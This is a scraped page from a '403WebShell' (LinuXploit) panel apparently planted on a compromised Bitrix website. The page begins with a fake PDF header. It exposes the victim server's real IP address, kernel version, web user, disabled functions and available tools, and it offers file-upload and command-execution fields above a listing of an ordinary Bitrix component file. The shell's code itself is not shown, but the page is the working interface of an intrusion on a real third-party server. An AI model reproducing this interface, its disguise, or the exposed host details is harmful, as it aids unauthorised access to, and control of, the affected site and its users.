%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.141.19.186
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.tree.selector/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/main.tree.selector//component.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2013 Bitrix
 */

/**
 * Bitrix vars
 * @global CMain $APPLICATION
 * @param array $arParams
 * @param array $arResult
 * @param CBitrixComponent $this
 */

if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)
	die();

/*
$arParams['INPUT_NAME'] - input name for value
$arParams['ONSELECT'] - js function or method which will be called in its own context when employee(s) will be selected
$arParams['SITE_ID'] -
$arParams['IS_EXTRANET']

if SHOW_INPUT == 'Y', input field with employee user id will be created with INPUT_NAME name. Starting value should be specified in INPUT_VALUE param.

al least one of the {ONSELECT|INPUT_NAME} must be specified. both specified is legal.

1. If INPUT_NAME is specified, starting data is taken from it.
2. If INPUT_NAME is specified and none ONSELECT specified, resulting data written into it.
3. If INPUT_NAME and ONSELECT are both specified, resulting data is transferred to ONSELECT only. value of INPUT_NAME must be updated manually
4. If INPUT_NAME is not specified but ONSELECT is, starting data must be set via {OBJECT}.SetData(value). Resulting data is transferred to ONSELECT.
5. If none of the INPUT_NAME or ONSELECT is specified, it's illegal, cause there's no way to get data from form in this case.

Component returns object name to use.

If you don't wanna use standard button, you should specify 'SHOW_BUTTON'=>'N', and use {OBJECT}.Show() by your own way.
*/

$arParams['MULTIPLE'] = $arParams['MULTIPLE'] == 'Y' ? 'Y' : 'N'; // allow multiple user selection

$arParams['SHOW_BUTTON'] = $arParams['SHOW_BUTTON'] == 'N' ? 'N' : 'Y'; // show button for control run. Show() method should be used otherwise.
$arParams['SHOW_INPUT'] = $arParams['SHOW_INPUT'] == 'Y' ? 'Y' : 'N'; // whether to show input field.

$arParams['INPUT_NAME'] = preg_match('/^[a-zA-Z0-9_]+$/', $arParams['INPUT_NAME']) ? $arParams['INPUT_NAME'] : false;
$arParams['SITE_ID'] = preg_match('/^[a-zA-Z0-9_]+$/', $arParams['SITE_ID']) ? $arParams['SITE_ID'] : false;
if($arParams['SITE_ID'] == '' || mb_strlen($arParams['SITE_ID']) > 2)
	$arParams['SITE_ID'] = SITE_ID;
$arParams['IS_EXTRANET'] = $arParams['IS_EXTRANET'] == 'Y' ? 'Y' : 'N'; // whether to show input field.

if (!$arParams['INPUT_NAME'] && !$arParams['ONSELECT'])
	return false;

$arParams['GET_FULL_INFO'] = $arParams['GET_FULL_INFO'] == 'Y' ? 'Y' : 'N'; // whether onselect handler should take full info. legal only with ONSELECT.

$arParams['NAME'] = ($arParams['NAME'] && preg_match('/^[a-zA-Z0-9_]+$/', $arParams['NAME'])) ? $arParams['NAME'] : 'emp_selector_'.rand(0, 10000);

if ($arParams['MULTIPLE'] == 'N')
	$arParams['INPUT_VALUE'] = intval($arParams['INPUT_VALUE']);
elseif (is_array($arParams['INPUT_VALUE']))
	$arParams['INPUT_VALUE'] = implode(', ', $arParams['INPUT_VALUE']);

CJSCore::Init("ajax");

$APPLICATION->AddHeadScript('/bitrix/js/main/admin_tools.js');
$APPLICATION->AddHeadScript('/bitrix/js/main/utils.js');
$APPLICATION->AddHeadScript($this->GetPath().'/script.js');

$this->IncludeComponentTemplate();

return $arParams['NAME'];

Youez - 2016 - github.com/yon3zu
LinuXploit